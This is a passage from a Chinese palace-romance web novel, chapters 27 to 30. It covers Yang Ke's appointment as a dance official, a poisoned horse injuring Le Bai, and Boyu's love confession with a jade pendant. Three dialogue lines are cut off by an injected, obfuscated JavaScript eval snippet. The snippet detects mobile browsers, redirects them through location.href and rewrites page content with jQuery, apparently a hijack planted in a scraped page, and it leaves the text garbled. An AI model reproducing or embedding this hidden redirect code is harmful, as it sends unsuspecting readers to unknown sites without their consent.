皇上眼中闪过一丝落寞之色:“你说的有理,既如此,柯儿,朕便封你为尚舞局奉銮司舞,如何?” 杨柯心里的大石头总算放下。这奉銮司舞虽是个虚衔,但她恐惧之事并未发生。于是连忙跪地叩谢:“谢陛下隆恩!” 皇帝视线在她身上停留了一瞬,恋恋不舍地转向杨柯身旁的章可馨,一面落座,一面缓缓开口道:“可馨,你想要什么官职?” 章二俯首道:“姑父厚爱,可馨心领。尚音局每日卯时便有教坊司轮值,若得空闲,可馨往尚音局切磋即可,何须姑父再设官职?” “今晚你和柯儿代表朕的大夏献上演出,朕赐了柯儿司舞一职,怎能少了你的奖励?” 章可馨娇声道:“姑父又来哄我!既然如此,那就恳请姑父赐可馨沉香木鼓,要用青州石末为腔,精铜为环。” 皇帝朗然笑道:“好,你要什么,朕就给你什么!” 章可馨笑脸盈盈道:“多谢姑父!”话毕,二人退了下去。 宴席到了中段,杨柯趁人不注意溜出了帐营,心中仍有余悸,索性便往寂静处走去,青桃迎了上来:“姑娘怎的出来了?” 杨柯指着远处道:“我想去那边走走,你在附近等着我便可。”青桃点头答应。 看着黑得漫无边际的天空,杨柯又想起了方才发生的一切,像是千里之外的城墙和宫门直直倾倒过来,压的人喘不过气。要不是额娘教过她一些舞技,加之从小跟着杨涛四处遨游,耳濡目染了些民间舞姿,今日这劫还不知道该如何应对。可谁成想,躲过一劫又来一劫。她无奈摇头,转念又一想,幸好三年后还能重获自由。念及此,心中的阴霾顿时消散了不少。 突然,不远处传来咯吱一声轻响,杨柯瞬间警觉,厉声喝道:“来者何人!”此地距营帐已有不小的距离,听那声音应是有人脚掌不慎踩到树枝,致使其折断。杨柯心中一紧,若是贸然闯出歹徒,那她今晚的处境,怕是远比被皇帝册封更为凄惨。 “进宫不过半载,便受封从三品官职,司舞怎么一个人跑到深林里庆祝?”竟然是宇文泰,他从黑暗中负手走出,面容在月光下显得轮廓分明。 杨柯松了半口气,恭敬施礼,但嘴上却夹枪带棒:“今晚突厥贵宾来访,殿下贵为皇嗣,不在宴席上呆着,跑到这来做什么?” 宇文泰一派轻松:“酒喝多了,不能出来透透气么?” 杨柯想起上次紫英阁一事,耸然而惕:“你……你不会反悔了……想要灭口吧?”说着便唰地从地上拾起一截木棍,双手交握在身前。 宇文泰见她一通动作慌里慌张,甚是滑稽,哈哈大笑道:“若要杀你,还需我亲自动手?更何况那日在紫英阁,我随时都可要你的性命。” 杨柯迟疑半晌,仍是不信:“那……你想做什么?” 宇文泰无语道:“我已经说过了。” “谁会相信?”杨柯攥着木棍,略略退后,“你这种人,向来不安好心。” 宇文泰讥讽道:“不安好心?那你以为,方才我是为了阻止你爬上龙床才插手的?” 她反问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360396|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道殿下不是这样想的?” 他冷哼一声:“真是个沽名钓誉之人,老七怎会看上了你?”这一番鸡同鸭讲,二人之间又剑拔弩张起来。 杨柯恨恨道:“殿下在泼人脏水这方面也毫不逊色!” 宇文泰回呛道:“是么?分明是气我坏了你的好事吧。” 杨柯忽然一怔,这才明白他的意思,愤然道:“谁稀罕进宫当什么皇妃,你们的皇宫和监牢有什么差别!我恨不得现在就出去!” 宇文泰反倒笑出了声:“哦?看来我没帮倒忙了?” 她转念一想,自己真是误会他了,于是试探道:“你真是为了帮我?” 宇文泰斜了她一眼,转身离开:“年纪轻轻,许配给谁不好。”说完便拂袖而去。 杨柯反问道:“你什么意思?” 他不咸不淡的声音从前方传来:“没什么意思。” “哎,宇文泰!”杨柯冲他大喊,可对方并不理会她,只是自顾自往前走着。 方才惊慌的余波未消,杨柯不敢独自呆在这里,也赶紧跟了上去。直到走近帐营,她才赶上宇文泰。 杨柯喘着气道:“你怎地走这么快?” 他侧首一瞥,平静道:“是你走得太慢。” 杨柯更没好气了:“全天下就你腿最长!” 宇文泰闻言,蓦地定住脚步,缓缓朝着杨柯倾身靠近,在三寸之处停了下来,那双黑曜石般的眸子泛着幽冷光泽,温热的鼻息呼在她的脸颊上,带来一阵酥麻的异样。 杨柯愣在原地,只听他一字一句地道:“是啊,我怎敢跟杨姑娘相比,命好之人,即便脚步拖沓,还有他人在身后周全。但我没有,只好走得快些。” 他话中之意无非讥讽方才席间伯喻多次的出言相救,杨柯又气又羞:“有人关心我与你何干!” 宇文泰嘴角扯起一抹冷淡的弧度,不咸不淡地回道:“确实与我无关。所以,你要是走得慢,我可没那闲工夫等你。”说完,便施施然地离去。 青桃正站在营帐前等候着,见杨柯风风火火地冲过来,脸上像是踩了马粪一样难看,忙关心道:“姑娘,你去了一趟林子里,怎么气成这样?” 杨柯回道:“碰上野猪了,还被猪拱了!” 青桃面色骤变:“哪来的野猪?难道羲王殿下没在吗?” 杨柯被她认真的样子逗笑:“别急别急,野猪都是我胡诌的。” 青桃拍了拍胸口,长舒一口气:“哎呀,可吓死我了。”转瞬脸上又绽出一抹甜笑,“即便有野猪,有殿下在就不怕了。” 杨柯惊诧道:“你……你在胡说八道些什么呢?” 青桃道:“方才在席上,幸好殿下出言相助,不然现在姑娘就要成娘娘了。还有啊,上回姑娘跑出宫不也是殿下带着回来的?有殿下在,岂不安心?” 杨柯更摸不着头脑了:“他?他这人最是捉摸不定,这会子和声细语,下一刻便暴风骤雨,你竟对他放心?” 青桃挠挠头:“是吗?可我觉得,殿下跟姑娘说的刚好相反啊?” 28.落马 太阳慢慢从天界线升起,照亮了沉睡一夜的草原。放眼望去,远处针叶峥嵘,悬崖陡直高峻,雄鹰昂首呼啸,山谷云雾缭绕。 大夏立国虽不过三代,但尚武的传统却从太祖武皇帝起便传承至今,如今大夏年轻一代的血液中依旧奔涌着战场上厮杀的野性。今晨一早,众皇子们便按耐不住性子,率先带着伴读侍从们闯入林场。 杨柯轻握住缰绳,座下黑马步伐稳健,马蹄踏在松软的泥土上,有节奏地“嗒嗒”作响。她抬首望去,天空湛蓝如洗,几朵白云悠然漂浮,仿佛触手可及。身旁的乐白鬓边银簪随着颠簸轻轻摇晃,身下的枣红马与杨柯的黑马并辔而驰。 她忽然伸手指着不远处的树后:“小白你瞧,前面是头小鹿!” 乐白闻言,抻着脖子往前探去,忽听身后传来一阵急促的马蹄声,“那可不是寻常的鹿,那是天鹿!”章可馨骑着马风驰电掣地插了进来,她今日的打扮与往常截然不同,一身利落骑服将她衬得英姿飒爽,头上身上的珠摇玉坠也被摘去,高束的马尾辫甩在铁护颈外,显得十足英气矫健,“此乃祥瑞之兽,它头顶那根独角便是标志。自古以来,只有皇家林场才有资格豢养。寻常人莫说见上一面,便是听都未必听过。” “竟是天鹿!”乐白杏眼圆睁,惊呼道,“我来了林场这么多回,还是头一遭见着。” “看来今日咱们运气着实不错,刚进林场就撞上这稀罕物。”杨柯顿了顿,眼波流转,调侃道,“说起来,多亏了章姑娘专程跑来答疑解惑。” “哼,谁要管你?”章可馨扬起下巴,眉间尽是骄矜,“若不是二哥被姑父扣在帐中陪突厥人周旋,我早去跟他一道了,还轮得着你?” 杨柯想到伯喻,喃喃道:“原来如此,宇文泰竟然也被留下了。” 章可馨神秘一笑:“看来你对某人的行踪甚是上心呐。”她旋即转向乐白,“小白,你可得看紧了,别等哪天一不留神,她跑去给别人当伴读,把你忘得一干二净咯。” 乐白与她交换了个心照不宣的眼神,杨柯双颊一热,没好气道:“只许州官放火,不许百姓点灯!你整日追着宇文泰跑,我提一句伯喻,倒成了错?” 章可馨眨了眨眼:“伯喻?我何时提过这个名字了?”话音未落,她狠狠一夹马腹,身下玉狮子登时向前窜去,扬起的沙尘里还飘着她的笑声。 “这回别怪我没提醒你了吧。”乐白忍俊不禁,伸手点了点杨柯发烫的脸颊,“谁让你不打自招,这不正中了她的下怀?” “好啊,现在连你也跟她一个鼻孔出气了!”杨柯作势要扑过去,乐白笑闹着调转马头,杨柯忽觉身下气息异动,低头一看,乐白身下的枣红马瞳孔赤红,口涎沾湿了银丝辔头,这分明是中毒的迹象! “乐白快勒马!它中……”警告声未落,枣红马突然厉声嘶鸣,腾空直立,乐白猛地向后一栽,那马发了疯一般狂奔乱甩,将乐白抛向半空又重重砸回鞍桥。 杨柯身下的马也被惊得仰头嘶鸣,她猛地扣住缰绳急转,稳住马匹的同时探手去抓乐白的披风,可指尖刚触到衣角,惊马突然急刹,乐白整个人向前飞扑而去,杨柯手上攥住的布料“刺啦”一声撕裂。 “阿柯救我!”乐白惊惧大叫,这声响反而让马更加受了刺激,朝着断崖狂奔而去,乐白紧紧攥着缰绳,可到底撑不住,身子几乎要栽下马背。 忽然,一道银色锁链闯进视线,精准地缠住了疯马的前蹄,“抓紧鬃毛!”章可馨从侧方驱马赶来,厉声呵斥道:“畜生!再敢撒野,本小姐扒了你的皮做战鼓!” 枣红马的前蹄动弹不得,又开始疯狂甩动脖颈,“啊——”乐白缰绳的指尖已被磨出血痕,整个人像断了线的纸鸢般被狠狠甩出,似要朝着地面直直坠落下去。杨柯见势双脚一蹬,飞扑过去,企图拽住乐白飞扬的裙裾,将她从疯马上带离,电光火石间,一道长刀从侧方破空劈来。 “闪开!”宇文拓策马横插进失控的枣红马前方,刀锋劈入马腹三寸,那马登时铁蹄腾空,一脚踹上对面宇文拓的坐骑,人马被掀翻在地,宇文拓身上的玄铁护甲刮蹭地面迸出火星,他额角青筋暴起,撑着手肘一跃而起,拔出长刀扬手再往下砍去:“给老子断!” 同时,云昌吉策马疾驰而来,“接住!”他抛出玄铁丝网,堪堪兜住快要坠地的杨柯与乐白。片刻前,宇文拓挥刀刺向马腹,乐白被疯马抛起,幸好杨柯飞扑而出,成功将她接住。为躲避乱踏的马蹄,杨柯借势一蹬马腹,带着乐白凌空跃起,刚好赶上云昌吉抛来的丝网,二人才得以稳稳落地。 “乐白,你现在如何?”杨柯说完,便感到脚踝一阵钻心剧痛——方才她接住乐白时,为避开疯马乱蹬的铁蹄,情急之下踹向马腹,反被剧烈挣扎的马蹄踢中。但是为了救人,她也管不了那么多了。 乐白颤抖地抬起手,原本一双纤纤素手已是血肉模糊,皮肉翻卷处还嵌着细碎沙石,肿胀的腕间更是大块的青紫淤青,“手腕好疼……” “别怕。”杨柯将乐白的手臂搭在自己肩头,强撑着扶她站起身,碎石硌得膝盖生疼,“咱们找大夫给你医治。”话音未落,一声闷响惊破死寂,她猛地转头,只见那匹发疯的枣红马轰然倒地,马腹间还插着一柄长刀。 “禁军都是死人?让这等腌臢东西混进来!”宇文拓突然暴喝一声,脚下踹翻了一名跪地的侍卫,“这匹马可是父皇的御马,你们都是干什么吃的!” 云昌吉拦在那侍卫跟前,单膝重重跪地:“殿下息怒!卑职治军不严,这就调集所有驯马师彻查!” “大哥十年未碰马鞍,今日倒让我们开了眼。”章可馨翻身下马,一声娇笑平息了此时的紧张氛围,视线又转向昌吉,“云少统领,你手下出了岔子,这笔账可要算到我二哥头上的。” 昌吉的头垂得更低了:“羲王殿下命臣负责马场,如今郡主受伤,便是将我砍成碎片,也难以抵消乐白受的伤!” 宇文拓冷哼一声:“话说得好听,现在出了事,你要怎么办?” “此事不怪昌吉。”乐白虚弱的声音打破僵局,“有人故意给马下毒,在马料里做了手脚。敌人在暗处,我们在明处。禁军便是布下天罗地网,也挡不住这般阴毒算计。” 昌吉闻声回头,望向乐白的一双眼里满是自责和关心,三步并作两步冲上前,“乐白!你受伤了没有?可有吓到啊?”声音沙哑得像是被砂纸磨过,视线落到她双手上时,如遭雷击,“你的手……都怪我!怪我没有护好你……” 众人这时才仔细瞧见乐白手上的伤,皆是倒吸一口冷气。宇文拓与章可馨二人本因乐白伤势严重,加之御马遭人毒害,欲将怒火迁于禁军身上。可再望向乐白身旁的云昌吉时,又见他神情慌乱、痛悔真切,不似作伪,便也不再多加责怪。 “诸位可曾听闻过紫茎草?”一旁安静的杨柯突然开口,众人齐刷刷望向她。 宇文拓眉头微蹙:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378629|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你问这个做什么?” 杨柯道:“方才抱住乐白时,我在疯马身上闻到一阵苦杏子味,这种味道并不常见,是西域迷心草独有的气息,大夏人更习惯叫它紫茎草。”她目光扫过众人惊疑的神色,语气沉了几分,“想来有人故意用这等毒物,致使马匹发狂。” 云昌吉闻言,眼底泛起血丝,额角青筋突突跳动,“我这就去查!便是掘地三尺,也要把下毒之人揪出来!” 杨柯一把按住他:“慌什么,”她瞥向一旁脸色苍白的乐白,低声道,“你现在的任务是把乐白照顾好。”说完,她转向宇文拓,“若论人脉手段,比起昌吉,殿下才是行家。” 宇文拓微怒道:“你什么意思?难道本王会下毒害人?” 章可馨劝道:“大哥不妨先听杨柯把话说完。” 宇文拓平了平神色,目示其继续。 杨柯又道:“紫茎草这等西域毒物,能躲过层层盘查流入宫中……”她尾音微顿,意味深长地看向宇文拓腰间的螭纹玉佩,“在场的所有人,除了殿下,谁还能彻查清楚?”其实早在她嗅到苦杏子味的那一刻便想到了可疑之人。三日前,她替乐白整理书箱时,曾在吏部赠来的《西域风物志》夹页里闻到过类似的气息。仅凭这缕气味,并不能将罪责归于吏部,因而这念头刚冒出来便被她按捺下去。直到章可馨那句“这笔账可要算到我二哥头上”,她才勾连起吏部与毒马之事——宇文泰暗中调查漕运舞弊、威胁左侍郎田咏,吏部何尝不会反咬一口?后来她看宇文拓的反应也不像是揣着明白装糊涂,既然他和宇文泰感情甚笃,又是吏部宫家的人,若真想彻查,岂不比旁人便利百倍?不如就此顺水推舟,主动抛出这个线索,卖宇文泰一个人情,也省得他再威胁自己。这一步棋,就看宇文拓愿不愿意接了。 宇文拓垂眸摩挲着玄铁护甲,忽然低笑出声:“我说杨大人,你跟老七走得近了,倒是把他那套油嘴滑舌学得八九不离十。” 杨柯听他的话,心里一咯噔,怎地自己露出了马脚,让他看出来了?她正要开口辩解,却听宇文拓继续道:“你说的倒也没错,宫里能彻查内务府的,除了父皇,便只有我和阿泰、老七三人。”说着猛地甩了甩衣袖,“偏偏他们俩被父皇留下陪客,今日又叫我碰上这等霉事,罢了,我也不想阿泰被父皇责怪,看在他的面子上,本王就应了你的请求。” 杨柯松了口气,顺杆儿往上爬道:“多谢殿下仗义相助。今日若没您在,还不知要闹到何等局面。”她视线一转,望向乐白,声音染上几分真切的忧色,“郡主伤势不宜拖延,还请殿下准我们先行回营请医。” 宇文拓漫不经心地转着腰间玉佩,余光瞥见云昌吉小心翼翼将乐白横抱上马的模样,忽然冷笑道:“杨大人倒挺会使唤人呐。” 杨柯恭敬拱手道:“微臣可没那个胆子!我身为郡主的伴读,昌吉的好友,如今他二人受难,我本就应倾力相助,故而方才会有求于殿下。” “你放心,三日后,本王自会将结果告知阿泰。”宇文拓冷凝着杨柯,语调渐冷,“你若是敢耍什么花样,杨大人应该知道后果。” “多谢殿下。”杨柯垂首行礼,而后三人驾马离去。发生了此事,章可馨也急着驱马去找宇文泰,唯有宇文拓立于原地。侍卫见他迟迟不上马,便提着马绳往他的方向靠近,宇文拓仿佛被火烫了一般弹跳着后退,玄铁护腕重重砸在侍卫肩甲上,“再让我碰这畜生玩意,下次小心你的狗头!” 29.定情 回到营地,一群身着青绿褂子、肩背红木衣箱的大夫已经在营帐内等候着了。见到乐白回来,恍若惊起一群笼中飞鸟。众人纷纷上前把脉诊断,一时间帐内闹成一团,这会子出去一个白发老头,下一刻又钻进来一个黑发小童。杨柯和昌吉两人不懂医理,只能在边上干瞪眼,时不时地上去搭个手帮个忙。 过了几柱香的光景,乐白的伤口终于包扎完毕。杨柯也得以坐了下来。乐白视线落到她的脚踝处,关心道:“阿柯,你的脚是不是也受了伤?” 杨柯摆手道:“这算不得什么伤,过几日它自己便会痊愈。”不过是区区脚踝扭伤,实在犯不着小题大做。 乐白仍不放心,追问道:“真的不需要让大夫看看吗?我担心……” “快别念叨啦!”话还未说完,便被杨柯拦了下来,她眉眼弯弯地挤兑道,“要是惊动了太医,往后几日我非得在榻上躺成个木头人不可,那还怎么骑马撒欢儿?”她见乐白眉间愁云未散,又打趣道,“好姐妹有难同当!你伤了手,我扭了脚,不也是一种默契。” 闲聊几句后,安顿好乐白躺下,杨柯也走出了营帐。一阵微风吹来,可她心里清楚,这风吹不散她的忧虑,更吹不走躲在暗处的阴谋。 望着辽阔的草原,杨柯不自觉地卸去了满身思绪,抬步往草原深处走去。她躺倒在柔软草甸上,青草香沁入鼻尖,像是天地酿就的安神香。她舒展四肢,温热晚风掠过鬓角,舒服得不自觉阖上了双眼,任意识随着草浪轻轻摇晃。再睁开眼时,夕阳已渐渐沉入地平线,心底正感怅然,忽闻一阵悠扬笛音自远方传来,如潺潺溪水淌过心间。杨柯心头微动,起身循声而去,行至草原开阔处,便望见一人静坐于草地之上。 霞光照下,伯喻一身清辉,莹白若纱,毫不刺眼,就连最后一缕日光也被这抹银白吸引过去,软倒于其身,与他缠绕相依。杨柯看得呆了,竟忘了言语,只是挪着步子向他靠近。听到她的脚步声,伯喻回过头来,一道日光打在他的脸上,更衬出他眉眼间的清冽气韵,恰似初雪覆玉,温润莹泽又暗含柔光。 杨柯背着手,半带歉意道:“我好像又来搅和你的雅兴了。” 伯喻徐徐起身:“或许我在此地,就是为了等你。” 杨柯又惊又喜:“等我?你如何知道我会来?” 伯喻微微一笑:“既见君子,云胡不喜。此时你已经来了,不是么?”话音未落,他已款步上前,眸中柔光比天边晚霞更为动人,“乐白落马受惊,你看在眼里,想来不会好受。此般愁绪,或许只有草原才能纾解。” 杨柯想起半日前的惊险,低叹道:“是啊,从前只觉得朝堂的斗争还离我尚有一段距离,直到亲眼看到乐白今日在马上险些送命……”她手指不自觉地攥紧,“这一回我是真真切切地感受到了危险。原来所谓的明刀暗箭,从来不会与人客气半分。” 伯喻抬手轻轻按住杨柯紧绷的肩头,掌心温度透过衣料缓缓渗来,“你为乐白悬心,为无辜之人担惊后怕,这份赤诚真心,胜过任何阴谋算计。” 杨柯知道他在安慰自己,一半是甜蜜,另一半却是忧愁:“可是我不够聪明,看不出他人布下的陷阱,纵使一片真心,又有何用?只能眼睁睁看着自己在乎的人受伤。” 她见伯喻一时沉吟不语,懊恼着不该说这些话扫了兴致,正想开口圆场,掌间忽然一暖。伯喻修长的手指轻轻扣住她的指尖,唇角漾起温柔笑意:“跟我来。” 忽然的触碰让杨柯呼吸一滞,温热的气息顺着指尖传递至心田,瞬间将她的不安和憋闷化作了绕指柔的甜蜜和欢喜。 她任由他牵着手穿过蔓蔓青草,来到河边,“曾经我也同你一样,想要保护深爱的人,但却无能为力。” 杨柯朝他望去,那眉间的淡淡忧思很快被眼底的粼粼波光抹去,“后来我渐渐明白,困住人的从来不是力量的强弱,而是不肯转身的执念。” 杨柯疑惑道:“不肯转身?” 伯喻并不回答,而是伸手指向了一处:“你看这山中清泉,可曾因不能劈开山岩而自轻?”杨柯顺着他的手指望去,不远处的嶙峋崖壁上,几缕素白泉水蜿蜒而下,它们虽细若琴弦,但却从未间断,“我以为这种细流不过是大雨过后才冒头的,难道它们一直都在?” 伯喻颔首道:“它们一直都在山崖中静静流淌。经年累月,最终在崖底凿出了一道水痕。” 杨柯凝神看去,那崖底果真有一道青灰色的沟壑,在暮色里泛着晶莹的光泽。她惊讶地望向伯喻,伯喻接过她的目光,深沉的眸中露出了笑意。 “人和水似乎是相似的。”杨柯伸手接过泉水溅起的水珠,凉意顺着掌心漫上心口,“我娘总笑我是块实心木头,空有仗义的心,却没半点弯弯绕绕的心思。”她垂眸摩挲着衣角,“虽然我爹会安慰我,说我是‘水利万物而不争’,可我知道,娘说得没错,和那些聪明人相比,我能拿得出手的不过是股傻劲儿罢了。” 伯喻蹲下身,引着她的手浸入河流,“《诗经》说‘泾以渭浊’,可你看——”他挥手撩开浑黄水面,而后掬起一抔水,水质清澈如琉璃,“泥沙自会沉淀。就像你护住乐白那刻,不也用赤诚之心,让算计都落了空?” 杨柯还是拧着眉摇头:“可我总是想不明白,这世上谁不是攥紧算盘过日子?人们为了各自的利益争来争去,连顺手帮衬他人都嫌麻烦,还谈什么不争?”她垂首喃喃,“这种话总归是用来教化人的。” “不,阿柯,”伯喻缓缓道,“水从不会与顽石硬拼,但它记得每道暗礁的位置。真正的智者就如这河水,看似不争懦弱、绕路而行,实则将每道支流都汇聚成川。”他手腕忽然翻转,惊起的水花溅在她手背上,“你总觉得自己心思直白,可那些自诩聪明的人,又有几个能像你这般,永远保持清澈?真正的力量,从不在锋芒毕露之处。” 伯喻定定地看向她:“你的赤诚就是破除虚妄的明镜,算计者眼中的所有皆是棋子,而你看得见棋局外的人心。” 两尾小鱼从交叠的指缝中游过,酥酥麻麻的感觉直窜心头,杨柯望着粼粼波光在他眼底碎成星辰,只觉连日来心间淤积的浊气都被满眼的清水给卷了去,心口不由得腾起簇簇温热,像是被夕阳晒透的青草,在晚风里舒展得恣意又畅快。 “伯喻,原来在你眼里,我竟是这样的人。”杨柯双手交叠在膝上,仰起脸痴痴地望着对方,一双眸子蒙着层细碎的水光。 伯喻捻起一株水草,嗓音裹着河水的清凉漫过来:“野有蔓草,零露瀼瀼。有美一人,婉如清扬。”他忽然抬手,草叶轻轻拂过她发烫的耳垂,“邂逅相遇——”尾音未落,杨柯的视线撞进他含着笑意的眼底,“与子偕臧。” 烂熟于心的情诗此刻从他的唇齿间淌出来,竟比马奶酒还要醉人。杨柯只觉得自己化作了他手中那株青草,魂儿随着他的指尖缥缈四散, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399358|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在风中浮浮荡荡。 只听他低沉的嗓音再次宣布道:“阿柯,对我而言,你就是我珍视的一切。” 如此简单的一句话简直令人心折,杨柯的脑中已被震颤得出现了短暂的空白,不过空白过后便是极大的欢喜。 可她仍感到犹豫,长久以来积压的烦恼此刻冒了出来。她转念又一想,既然伯喻已经挑明,自己也无须再把担心咽回肚子里,于是直言道:“为何是我?你身边既有芮伊这样的绝世美人,还有公孙大人那样的才女,我哪样都比不过她们呐。” 伯喻直截道:“弱水三千,我只取一瓢饮。她们无论怎么好,都和我无关。” 杨柯心里的快乐溢得满了出来,但嘴里却嘟哝着“真是没羞没臊”,往旁处走去,不敢看他。伯喻上前拉起她的手,稳稳当当地握在手心。 杨柯抬眸与他对视,那双棕色的眸子里满满都是自己。正看得怔忪,忽见伯喻抬手探向颈间,似要去摘什么,杨柯正感奇怪,下一刻眼前便出现了一双羊脂玉坠,两块玉在暮色中泛着珍珠母般的光泽,玉尖上还点着一点朱砂沁,颜色恰似自己小臂内侧的绯红胎记。 “居然是月牙!”杨柯脱口而出。 见她脸上又是惊喜又是探寻,伯喻笑着肯定道:“没错,它的造型就是依凭你手臂上的月牙来设计的。” 杨柯奇道:“工匠如何知道我胎记的形状?” “我将你的月牙原模原样地画了下来,交给了他。”他屈指轻弹月牙凹面,指尖点上那抹朱红,“匠人寻遍了整座玉山,才找到这脉会流泪的玉髓。” “会流泪的玉髓……”杨柯低声呢喃,“伯喻,这份礼物,我很喜欢。还记得李太白写‘小时不识月,呼作白玉盘’,这玉坠可不就是月亮凝成的?” 伯喻欣然一笑,指尖轻挑,环臂将她拢入怀中,他身上独有的松香气息混着体温漫过来,羊脂玉坠顺着她颈间滑落,玉坠贴到胸口上时,还带着他身上的温热,“戴着它,就当我把月亮摘给你了。” 杨柯指尖捏着另一枚玉坠,也学着他的样子踮脚替他戴上:“你一个,我一个。”她仰头笑得眉眼弯弯,玉坠在两人胸前轻轻相碰,发出细碎的清响,“李太白说错了,月亮才不是盘子,是你我这样凑成的一对儿。” 伯喻宠溺道:“阿柯说得没错,月亮正是你我凑成的一对。” 杨柯呆呆地盯着伯喻,看着他的嘴唇翕合,想象着那两片唇瓣覆到自己嘴上时,会是什么感觉。一个不留神,嘴巴微微蠕动了一下。 伯喻看在眼里,笑道:“你又想到什么了?” 杨柯倒也不羞,眼波流转间尽是坦然:“依着话本里的桥段,接下来你就该亲我了。” 伯喻眼底笑意如春水漫涨,嗓音裹着若有若无的暧昧:“原来在阿柯心里,我早该扮那戏文中的痴儿。”他抬手轻划过她唇瓣,渐渐俯下身子,杨柯仰头望着他近在咫尺的眉眼,喉间心跳几乎要撞碎齿关。她心中刚做好准备,却见他忽然停住,指腹移向她唇角,声音低得能揉碎夜色,“那我偏要改改这俗套戏码。” 杨柯听言一愣,心里升起一丝失落,正欲开口说话,下一刻却被他吻住了唇。伯喻的吻温柔而又霸道,辗转碾磨间,像是要把整个草原的月光都渡进她心口。 杨柯在缠绵中微微睁眼,她瞧见月光从草叶间漏下,恍惚间她竟觉得,此刻满地的芳草比记忆中的任何时候都要青翠葱茏。 30.紫茎草 晨雾未散的小径边,冒出几株桂花苗,隐在绿叶底下,神秘又新鲜,因是初长出来,又藏不住,露出小小一截淡黄,很自觉地在暗处细心舒展。忽然,半空中飞来一只刚破茧的蝴蝶,轻轻地停在了花瓣之上。杨柯见了心里连连欢喜,很好,每朵花都有了蝴蝶,她也有了爱人。 杨柯继续抬步前行,转过弯时,马场的喧闹声隐约传来。章可馨正踮着脚尖,素手轻抚白马鬃毛,腕上珠串在阳光下折射出细碎的光:“粮草可都按时喂了?” 她身后的驯马师躬身回道:“今晨刚刚喂过。” 杨柯听到今晨,嘴角不自觉地漾开一个笑。更鼓沉沉敲过三更,还在睡梦中的她被一阵熟悉的叩门声惊醒。掀开牛皮帐帘的瞬间,秋季草原上特有的寒风裹挟着星屑扑面而来,“怎么今日这么早?”杨柯从榻上起身,为伯喻拂去肩上的白霜。 “阿柯,我要去滁州一趟。”伯喻轻轻点亮案头烛台,拉着她的手坐下,“父皇急召,今日卯时便要启程。走之前,我想再来看看你。” “为何要去滁州?” 暖黄光晕里,他眼底血丝密布:“滁州洪灾未平,霍乱又起,沿途村镇已经十室九空。” 杨柯瞥见伯喻袖中露出的半截密报,边缘已被指腹摩挲得发皱,她低叹一声,又担忧道:“可是……你会不会有危险?” “有你挂念,自然就不会了。”伯喻伸手将她散落在肩头的发丝别到耳后,指腹温度顺着耳垂传递全身,“阿柯,等我回来。”这句话说得极轻,却像烙铁般烫在杨柯心口。 “二哥你看,伯喻的马竟然还在此处。”章可馨巧笑着指着一匹青色骏马,她的声音将杨柯拉回了现实。 杨柯一听这马属于伯喻,想都没想便笑着赞叹道:“好漂亮的马,看起来油光水滑的。” 章可馨顺势解释道:“它是伯喻的青骢马,名唤随风。” 杨柯继续称赞道:“来去随风,颇有主人的风范。” 一旁静静看着的宇文潇忽然冒出一句:“你是不是喜欢七哥?” 杨柯顿时被问得哑巴,还没等她开口回应,便听宇文拓摇着折扇斜倚过来,长眼弯弯如狐:“老十这话问得可算蹊跷,哪有姑娘厚着脸皮追得郎君满世界跑的?就算杨大人春心萌动,她也不好意思承认呐。”说着朝杨柯使眼色,“你听我说得对不对,杨大人?” 杨柯知道他明摆着在拿自己开涮,但心中倒也不气,“端王殿下说得,倒像是比我自己还清楚。”她抬眸迎上宇文拓促狭的目光,又转头看向宇文潇好奇的眼神,无奈道:“你们这些公子哥儿,整日就爱编排这些无中生有的传闻取乐。若要较真,倒显得我不解风情了。” “哪里是无中生有?”宇文拓故作讶异,但脸上仍是惯常的轻佻模样,“可别怪我多嘴,这几日我总是瞧见你们两人跑得老远,也不知道是去做甚,难道是我眼花了?”他一面说着,一面朝着章可馨和宇文泰使眼色。 章可馨了然微笑,而她身侧的宇文泰神色冷淡,仿佛这些与他全然无关,目光只凝在林场的方向。 云昌吉挠着脑袋,一脸困惑地望向杨柯:“阿柯,平日里也没见你与宣王殿下往来,什么时候你们走得如此近了?” 宇文拓摇着折扇凑了过来,继续煽风点火:“云兄这榆木脑袋,年轻男女互相倾慕不是自然而然的事儿?” 云昌吉被这话点醒,眼睛一亮,对着杨柯脱口而出:“可你不是喜好女……”杨柯眼疾手快,朝他背上重重一拍,话音戛然而止,云昌吉猛地呛咳起来,“昌吉昨晚喝多了吧?净说胡话!” 